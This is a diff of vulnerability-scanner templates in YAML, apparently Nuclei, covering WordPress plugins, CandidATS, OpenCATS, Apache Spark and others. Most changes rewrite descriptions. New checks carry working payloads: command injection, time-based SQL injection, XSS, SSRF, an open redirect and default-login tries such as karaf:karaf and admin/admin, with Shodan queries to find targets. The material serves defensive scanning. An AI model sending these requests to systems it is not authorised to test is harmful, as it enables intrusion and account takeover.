    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
@@ -52,3 +52,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by md on 2022/12/13
@@ -0,0 +1,36 @@
+id: CVE-2022-33891
+info:
+  name: Apache Spark UI - Command Injection
+  author: princechaddha
+  severity: high
+  description: |
+    The Apache Spark UI offers the possibility to enable ACLs via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilter can allow someone to perform impersonation by providing an arbitrary user name. A malicious user might then be able to reach a permission check function that will ultimately build a Unix shell command based on their input, and execute it. This will result in arbitrary shell command execution as the user Spark is currently running as. This affects Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1.
+  reference:
+    - https://github.com/W01fh4cker/cve-2022-33891
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-33891
+    - https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc
+    - http://packetstormsecurity.com/files/168309/Apache-Spark-Unauthenticated-Command-Injection.html
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 8.8
+    cve-id: CVE-2022-33891
+    cwe-id: CWE-77
+  metadata:
+    shodan-query: title:"Spark Master at"
+    verified: "true"
+  tags: cve,cve2022,apache,spark,authenticated
+
+variables:
+  command: "echo CVE-2022-33891 | rev"
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/doAs?=`{{url_encode("{{command}}")}}`'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "19833-2202-EVC"
@@ -1,16 +1,16 @@
 id: CVE-2022-33965

 info:
-  name: WP Visitor Statistics (Real Time Traffic) < 5.8 - Unauthenticated SQLi
+  name: WordPress Visitor Statistics <=5.7 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
-    Unauthenticated SQL Injection (SQLi) vulnerabilities in Osamaesh WP Visitor Statistics plugin <= 5.7 at WordPress.
+    WordPress Visitor Statistics plugin through 5.7 contains multiple unauthenticated SQL injection vulnerabilities. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://patchstack.com/database/vulnerability/wp-stats-manager/wordpress-wp-visitor-statistics-plugin-5-7-multiple-unauthenticated-sql-injection-sqli-vulnerabilities
    - https://wordpress.org/plugins/wp-stats-manager/
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-33965
    - https://wordpress.org/plugins/wp-stats-manager/#developers
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-33965
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
@@ -41,3 +41,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by md on 2022/12/13
@@ -1,11 +1,11 @@
 id: CVE-2022-3484

 info:
-  name: WPB Show Core - Cross-Site Scripting
+  name: WordPress WPB Show Core - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
-    The WPB Show Core WordPress plugin through TODO does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting.
+    WordPress wpb-show-core plugin through TODO contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://wpscan.com/vulnerability/3afaed61-6187-4915-acf0-16e79d5c2464
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3484
@@ -32,3 +32,5 @@ requests:
          - 'contains(body, "wpb_jplayer_setting")'
          - 'contains(body, "<script>alert(document.domain)</script>")'
        condition: and
+
+# Enhanced by md on 2022/12/13
@@ -1,15 +1,16 @@
 id: CVE-2022-3506

 info:
-  name: WordPress Related Posts <= 2.1.2 - Cross-Site Scripting
+  name: WordPress Related Posts <2.1.3 - Stored Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
-    The Related Posts for WordPress plugin is vulnerable to stored XSS, specifically in the rp4wp[heading_text] parameter because the user input is not properly sanitized, allowing the insertion of JavaScript code that can exploit the vulnerability.
+    WordPress Related Posts plugin prior to 2.1.3 contains a cross-site scripting vulnerability in the rp4wp[heading_text] parameter. User input is not properly sanitized, allowing the insertion of arbitrary code that  can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://huntr.dev/bounties/08251542-88f6-4264-9074-a89984034828/
    - https://huntr.dev/bounties/08251542-88f6-4264-9074-a89984034828
    - https://github.com/barrykooij/related-posts-for-wp/commit/37733398dd88863fc0bdb3d6d378598429fd0b81
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-3506
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
@@ -62,3 +63,5 @@ requests:
        regex:
          - 'name="_wpnonce" value="([0-9a-z]+)" />'
        internal: true
+
+# Enhanced by md on 2022/12/13
@@ -1,11 +1,11 @@
 id: CVE-2022-3578

 info:
-  name: ProfileGrid < 5.1.1 - Cross-Site Scripting
+  name: WordPress ProfileGrid <5.1.1 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
-    The ProfileGrid WordPress plugin before 5.1.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting.
+    WordPress ProfileGrid plugin prior to 5.1.1 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://wpscan.com/vulnerability/17596b0e-ff45-4d0c-8e57-a31101e30345
    - https://wordpress.org/plugins/profilegrid-user-profiles-groups-and-communities/
@@ -42,3 +42,5 @@ requests:
          - 'contains(body_2, "Extension Options")'
          - 'contains(body_2, "<script>alert(document.domain)</script>&tab")'
        condition: and
+
+# Enhanced by md on 2022/12/13
@@ -50,4 +50,4 @@ requests:
          - "contains(body_2,'NcbWd0XGajaWS4DmOvZaCkxL1aPEXOZu')"
        condition: and

-# Enhanced by mp on 2022/10/06
+# Enhanced by mp on 2022/10/06
@@ -0,0 +1,47 @@
+id: CVE-2022-3768
+
+info:
+  name: WPSmartContracts < 1.3.12 - Author SQLi
+  author: Hardik-Solanki
+  severity: high
+  description: |
+    The WPSmartContracts WordPress plugin before 1.3.12 does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by users with a role as low as author
+  reference:
+    - https://wpscan.com/vulnerability/1d8bf5bb-5a17-49b7-a5ba-5f2866e1f8a3
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3768
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-3768
+    - https://cve.report/CVE-2022-3768
+  remediation: Fixed in version 1.3.12
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 8.8
+    cve-id: CVE-2022-3768
+    cwe-id: CWE-89
+  metadata:
+    verified: "true"
+  tags: wpscan,cve2022,wp-plugin,wp,authenticated,cve,wordpress,sqli,wp-smart-contracts
+
+requests:
+  - raw:
+      - |
+        POST /wp-login.php HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{RootURL}}
+        Content-Type: application/x-www-form-urlencoded
+        Cookie: wordpress_test_cookie=WP%20Cookie%20check
+
+        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
+
+      - |
+        GET /wp-admin/edit.php?post_type=nft&page=nft-batch-mint&step=4&collection_id=1+AND+(SELECT+7741+FROM+(SELECT(SLEEP(5)))hlAf)&uid=1 HTTP/1.1
+        Host: {{Hostname}}
+
+    cookie-reuse: true
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration_2>=5'
+          - 'status_code_2 == 200'
+          - 'contains(content_type_2, "text/html")'
+          - 'contains(body_2, "Batch Mint NFTs")'
+        condition: and
@@ -1,15 +1,15 @@
 id: CVE-2022-40359

 info:
-  name: kfm <= 1.4.7 - Reflected Cross-Site Scripting
+  name: Kae's File Manager <=1.4.7 - Cross-Site Scripting
  author: edoardottt,daffainfo
  severity: medium
  description: |
-    Cross site scripting (XSS) vulnerability in kfm through 1.4.7 via crafted GET request to /kfm/index.php.
+    Kae's File Manager through 1.4.7 contains a cross-site scripting vulnerability via a crafted GET request to /kfm/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks
  reference:
    - https://cxsecurity.com/issue/WLB-2022090057
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-40359
    - https://code.google.com/archive/p/kfm/downloads
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-40359
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
@@ -43,3 +43,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by md on 2022/12/13
@@ -0,0 +1,39 @@
+id: CVE-2022-4050
+
+info:
+  name: JoomSport < 5.2.8 - Unauthenticated SQLi
+  author: theamanrawat
+  severity: critical
+  description: |
+    The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users.
+  reference:
+    - https://wpscan.com/vulnerability/5c96bb40-4c2d-4e91-8339-e0ddce25912f
+    - https://wordpress.org/plugins/joomsport-sports-league-results-management/
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-4050
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2022-4050
+    cwe-id: CWE-89
+  metadata:
+    verified: "true"
+  tags: cve2022,wp-plugin,wp,sqli,cve,wordpress,joomsport-sports-league-results-management,unauth,wpscan
+
+requests:
+  - raw:
+      - |
+        @timeout: 15s
+        POST /wp-admin/admin-ajax.php?action=joomsport_md_load HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        mdId=1&shattr={"id":"1+AND+(SELECT+1+FROM(SELECT+SLEEP(4))aaaa);--+-"}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration>=5'
+          - 'status_code == 200'
+          - 'contains(content_type, "text/html")'
+          - 'contains(body, "jscaruselcont jsview2")'
+        condition: and
@@ -5,7 +5,7 @@ info:
  author: arafatansari
  severity: medium
  description: |
-    kkFileView 4.1.0 contains multiple cross-site scripting vulnerabilities via the parameter 'errorMsg.'
+    kkFileView 4.1.0 contains multiple cross-site scripting vulnerabilities via the errorMsg parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://github.com/kekingcn/kkFileView/issues/389
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40879
@@ -41,3 +41,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by md on 2022/12/13
@@ -0,0 +1,68 @@
+id: CVE-2022-4260
+
+info:
+  name: WP-Ban < 1.69.1 - Admin Stored XSS
+  author: Hardik-Solanki
+  severity: medium
+  description: |
+    The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
+  reference:
+    - https://wpscan.com/vulnerability/d0cf24be-df87-4e1f-aae7-e9684c88e7db
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-4260
+    - https://drive.google.com/file/d/11nQ21cQ9irajYqNqsQtNrLJOkeRcwCXn/view?usp=drivesdk
+  remediation: Fixed in version 1.69.1
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 4.8
+    cve-id: CVE-2022-4260
+    cwe-id: CWE-79
+  metadata:
+    verified: "true"
+  tags: cve2022,wp-plugin,wp,xss,authenticated,cve,wordpress,wp-ban,wpscan
+
+requests:
+  - raw:
+      - |
+        POST /wp-login.php HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{RootURL}}
+        Content-Type: application/x-www-form-urlencoded
+        Cookie: wordpress_test_cookie=WP%20Cookie%20check
+
+        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
+
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /wp-admin/admin.php?page=wp-ban/ban-options.php HTTP/1.1
+        Host: {{Hostname}}
+
+        _wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwp-ban%252Fban-options.php&banned_ips=&banned_ips_range=&banned_hosts=&banned_referers=XSS&banned_user_agents=&banned_exclude_ips=&banned_template_message=%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&Submit=Save+Changes
+
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+        Referer: XSS
+
+    host-redirects: true
+    max-redirects: 2
+    cookie-reuse: true
+    req-condition: true
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body_4, "<script>alert(document.domain);</script>")'
+          - 'contains(content_type_4, "text/html")'
+          - 'status_code_4 == 200'
+        condition: and
+
+    extractors:
+      - type: regex
+        name: nonce
+        part: body
+        group: 1
+        regex:
+          - '_wpnonce=([0-9a-z]+)'
+        internal: true
@@ -1,19 +1,23 @@
 id: CVE-2022-42746

 info:
-  name: CandidATS v3.0.0 - Cross Site Scripting.
+  name: CandidATS 3.0.0 - Cross-Site Scripting.
  author: arafatansari
-  severity: Medium
+  severity: medium
  description: |
-    CandidATS v3.0.0 on 'indexFile' of the 'ajax.php' resource, allows an external attacker to steal the cookie of arbitrary users.
+    CandidATS 3.0.0 contains a cross-site scripting vulnerability via the indexFile parameter of the ajax.php resource.  An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://fluidattacks.com/advisories/modestep/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-42746
+    - https://candidats.net/
  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
    cve-id: CVE-2022-42746
+    cwe-id: CWE-79
  metadata:
-    verified: true
    shodan-query: http.html:"CandidATS"
+    verified: "true"
  tags: cve,cve2022,candidats,xss

 requests:
@@ -38,3 +42,5 @@ requests:
      - type: status
        status:
          - 404
+
+# Enhanced by md on 2022/12/13
@@ -1,16 +1,16 @@
 id: CVE-2022-42747

 info:
-  name: CandidATS v3.0.0 - Cross Site Scripting.
+  name: CandidATS 3.0.0 - Cross-Site Scripting.
  author: arafatansari
  severity: medium
  description: |
-    CandidATS v3.0.0 on 'sortBy' of the 'ajax.php' resource, allows an external attacker to steal the cookie of arbitrary users.
+    CandidATS 3.0.0 contains a cross-site scripting vulnerability via the sortBy parameter of the ajax.php resource. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://fluidattacks.com/advisories/modestep/
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-42747
    - https://fluidattacks.com/advisories/jcole/
    - https://candidats.net/
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-42747
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
@@ -43,3 +43,5 @@ requests:
      - type: status
        status:
          - 404
+
+# Enhanced by md on 2022/12/13
@@ -1,16 +1,16 @@
 id: CVE-2022-42748

 info:
-  name: CandidATS v3.0.0 - Cross Site Scripting.
+  name: CandidATS 3.0.0 - Cross-Site Scripting.
  author: arafatansari
  severity: medium
  description: |
-    CandidATS v3.0.0 on 'sortDirection' of the 'ajax.php' resource, allows an external attacker to steal the cookie of arbitrary users.
+    CandidATS 3.0.0 contains a cross-site scripting vulnerability via the sortDirection parameter of the ajax.php resource. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://fluidattacks.com/advisories/modestep/
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-42748
    - https://fluidattacks.com/advisories/jcole/
    - https://candidats.net/
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-42748
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
@@ -43,3 +43,5 @@ requests:
      - type: status
        status:
          - 404
+
+# Enhanced by md on 2022/12/13
@@ -1,16 +1,16 @@
 id: CVE-2022-42749

 info:
-  name: CandidATS v3.0.0 - Cross Site Scripting.
+  name: CandidATS 3.0.0 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
-    CandidATS v3.0.0 on 'page' of the 'ajax.php' resource, allows an external attacker to steal the cookie of arbitrary users.
+    CandidATS 3.0.0 contains a cross-site scripting vulnerability via the page parameter of the ajax.php resource. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://fluidattacks.com/advisories/modestep/
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-42749
    - https://fluidattacks.com/advisories/jcole/
    - https://candidats.net/
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-42749
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
@@ -44,3 +44,5 @@ requests:
      - type: status
        status:
          - 404
+
+# Enhanced by md on 2022/12/13
@@ -1,11 +1,11 @@
 id: CVE-2022-43014

 info:
-  name: OpenCATS v0.9.6 - Cross Site Scripting
+  name: OpenCATS 0.9.6 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
-    OpenCATS v0.9.6 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the joborderID parameter.
+    OpenCATS 0.9.6 contains a cross-site scripting vulnerability via the joborderID parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://github.com/hansmach1ne/opencats_zero-days/blob/main/XSS_in_joborderID.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43014
@@ -50,3 +50,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by md on 2022/12/13
@@ -1,11 +1,11 @@
 id: CVE-2022-43015

 info:
-  name: OpenCATS v0.9.6 - Cross Site Scripting
+  name: OpenCATS 0.9.6 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
-    OpenCATS v0.9.6 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the entriesPerPage parameter.
+    OpenCATS 0.9.6 contains a cross-site scripting vulnerability via the entriesPerPage parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://github.com/hansmach1ne/opencats_zero-days/blob/main/XSS_in_entriesPerPage.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43015
@@ -50,3 +50,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by md on 2022/12/13
@@ -1,11 +1,11 @@
 id: CVE-2022-43016

 info:
-  name: OpenCATS v0.9.6 - Cross Site Scripting
+  name: OpenCATS 0.9.6 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
-    OpenCATS v0.9.6 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the callback component.
+    OpenCATS 0.9.6 contains a cross-site scripting vulnerability via the callback component. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://github.com/hansmach1ne/opencats_zero-days/blob/main/XSS_in_callback.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43016
@@ -50,3 +50,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by md on 2022/12/13
@@ -1,11 +1,11 @@
 id: CVE-2022-43017

 info:
-  name: OpenCATS v0.9.6 - Cross Site Scripting
+  name: OpenCATS 0.9.6 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
-    OpenCATS v0.9.6 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the indexFile component.
+    OpenCATS 0.9.6 contains a cross-site scripting vulnerability via the indexFile component. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://github.com/hansmach1ne/opencats_zero-days/blob/main/XSS_in_indexFile.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43017
@@ -50,3 +50,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by md on 2022/12/13
@@ -1,11 +1,11 @@
 id: CVE-2022-43018

 info:
-  name: OpenCATS v0.9.6 - Cross Site Scripting
+  name: OpenCATS 0.9.6 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
-    OpenCATS v0.9.6 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the email parameter in the Check Email function.
+    OpenCATS 0.9.6 contains a cross-site scripting vulnerability via the email parameter in the Check Email function. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://github.com/hansmach1ne/opencats_zero-days/blob/main/XSS_in_checkEmail.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43018
@@ -50,3 +50,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by md on 2022/12/13
@@ -0,0 +1,40 @@
+id: CVE-2022-45362
+
+info:
+  name: Paytm Payment Gateway Plugin <= 2.7.0 Server Side Request Forgery (SSRF)
+  author: theamanrawat
+  severity: high
+  description: |
+     Server Side Request Forgery (SSRF) vulnerability in WordPress Paytm Payment Gateway Plugin. This could allow a malicious actor to cause a website to execute website requests to an arbitrary domain of the attacker. This could allow a malicious actor to find sensitive information.
+  reference:
+    - https://patchstack.com/database/vulnerability/paytm-payments/wordpress-paytm-payment-gateway-plugin-2-7-0-server-side-request-forgery-ssrf-vulnerability
+    - https://wordpress.org/plugins/paytm-payments/
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-45362
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
+    cvss-score: 7.2
+    cve-id: CVE-2022-45362
+  metadata:
+    verified: true
+  tags: cve,cve2022,ssrf,wordpress,wp-plugin,wp,paytm-payments,unauth,oast,paytm
+
+requests:
+  - raw:
+      - |
+        GET /?paytm_action=curltest&url={{interactsh-url}} HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "http"
+
+      - type: word
+        part: body
+        words:
+          - "paytm-payments.css"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,35 @@
+id: CVE-2022-45917
+
+info:
+  name: ILIAS eLearning platform <= 7.15 - Open Redirect
+  author: arafatansari
+  severity: medium
+  description: |
+    ILIAS before 7.16 has an Open Redirect
+  reference:
+    - https://packetstormsecurity.com/files/170181/ILIAS-eLearning-7.15-Command-Injection-XSS-LFI-Open-Redirect.html
+    - https://seclists.org/fulldisclosure/2022/Dec/7
+    - https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-ilias-elearning-platform/
+    - https://github.com/advisories/GHSA-hf6q-rx44-fh6j
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2022-45917
+    cwe-id: CWE-601
+  metadata:
+    shodan-query: http.html:"ILIAS"
+    verified: "true"
+  tags: seclists,cve,cve2022,ilias,redirect,packetstorm
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/shib_logout.php?action=logout&return=https://example.com"
+      - "{{BaseURL}}/ilias/shib_logout.php?action=logout&return=https://example.com"
+
+    stop-at-first-match: true
+    matchers:
+      - type: regex
+        part: header
+        regex:
+          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$'
@@ -0,0 +1,37 @@
+id: CVE-2022-46381
+
+info:
+  name: Certain Linear eMerge E3-Series - Cross Site Scripting
+  author: arafatansari
+  severity: medium
+  description: |
+    Certain Linear eMerge E3-Series devices are vulnerable to XSS via the type parameter (e.g., to the badging/badge_template_v0.php component). This affects 0.32-08f, 0.32-07p, 0.32-07e, 0.32-09c, 0.32-09b, 0.32-09a, and 0.32-08e.
+  reference:
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-46381
+    - https://github.com/omarhashem123/Security-Research/blob/main/CVE-2022-46381/CVE-2022-46381.txt
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2022-46381
+    cwe-id: CWE-79
+  metadata:
+    shodan-query: http.html:"Linear eMerge"
+    verified: "true"
+  tags: cve,cve2022,xss,emerge,linear
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/badging/badge_template_v0.php?layout=1&type="/><svg/onload="alert(document.domain)"/>'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '<svg/onload="alert(document.domain)"/>'
+          - 'Badging Template'
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,36 @@
+id: karaf-default-login
+
+info:
+  name: Apache Karaf Default Login
+  author: s0obi
+  severity: high
+  description: Apache Karaf default login credentials were discovered.
+  reference:
+    - https://karaf.apache.org/manual/latest/webconsole
+  metadata:
+    verified: true
+    shodan-query: realm="karaf"
+  tags: default-login,apache,karaf
+
+requests:
+  - raw:
+      - |
+        GET /system/console HTTP/1.1
+        Host: {{Hostname}}
+        Authorization: Basic {{base64('karaf:karaf')}}
+
+    host-redirects: true
+    max-redirects: 2
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "Apache Karaf Web Console - Bundles"
+          - "Web Console</a>"
+          - "Log out</a>"
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -2,7 +2,7 @@ id: tomcat-default-login

 info:
  name: Apache Tomcat Manager Default Login
-  author: pdteam
+  author: pdteam,sinKettu
  severity: high
  description: Apache Tomcat Manager default login credentials were discovered. This template checks for multiple variations.
  reference:
@@ -68,9 +68,21 @@ requests:
        words:
          - "Apache Tomcat"
          - "Server Information"
-          - "Hostname"
        condition: and

+      - type: word
+        part: body
+        words:
+          - "Tomcat Version"
+          - "JVM Version"
+          - "JVM Vendor"
+          - "OS Name"
+          - "OS Version"
+          - "OS Architecture"
+          - "Hostname"
+          - "IP Address"
+        condition: or
+
      - type: status
        status:
          - 200
@@ -0,0 +1,60 @@
+id: kanboard-default-login
+
+info:
+  name: Kanboard Default Login
+  author: shelled
+  severity: high
+  description: Kanboard default login was discovered.
+  reference:
+    - https://twitter.com/0x_rood/status/1607068644634157059
+    - https://github.com/kanboard/kanboard
+    - https://docs.kanboard.org/v1/admin/installation/
+  metadata:
+    verified: true
+    shodan-query: http.favicon.hash:2056442365
+  tags: default-login,kanboard
+
+requests:
+  - raw:
+      - |
+        GET /?controller=AuthController&action=login HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /?controller=AuthController&action=check HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        username={{user}}&password={{pass}}&csrf_token={{csrf_token}}
+
+      - |
+        GET /?controller=DashboardController&action=show HTTP/1.1
+        Host: {{Hostname}}
+
+    attack: pitchfork
+    payloads:
+      user:
+        - admin
+      pass:
+        - admin
+    extractors:
+      - type: regex
+        name: csrf_token
+        part: body
+        internal: true
+        group: 1
+        regex:
+          - "hidden\" name=\"csrf_token\" value=\"([0-9a-z]+)\""
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'New project'
+          - 'Project management'
+        condition: and
+        case-insensitive: true
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,41 @@
+id: lutron-default-login
+
+info:
+  name: Lutron Device Default Login
+  author: geeknik
+  severity: high
+  reference:
+    - https://www.lutron.com
+    - https://vulners.com/openvas/OPENVAS:1361412562310113206
+  tags: default-login,lutron,iot
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/login?login={{username}}&password={{password}}"
+
+    attack: pitchfork
+    payloads:
+      username:
+        - lutron
+      password:
+        - lutron
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "LUTRON"
+          - "DeviceIP"
+          - "Get Database Info as XML"
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,42 @@
+id: mobotix-default-credentials
+
+info:
+  name: Mobotix Webcam Default Admin Credentials
+  author: robotshell
+  severity: high
+  description: Mobotix Camera default admin login credentials.
+  reference:
+    - https://www.mobotix.com/sites/default/files/2020-01/mx_RM_CameraSoftwareManual_en_200131.pdf
+  classification:
+    cwe-id: CWE-798
+  metadata:
+    shodan-query: title:"Mobotix"
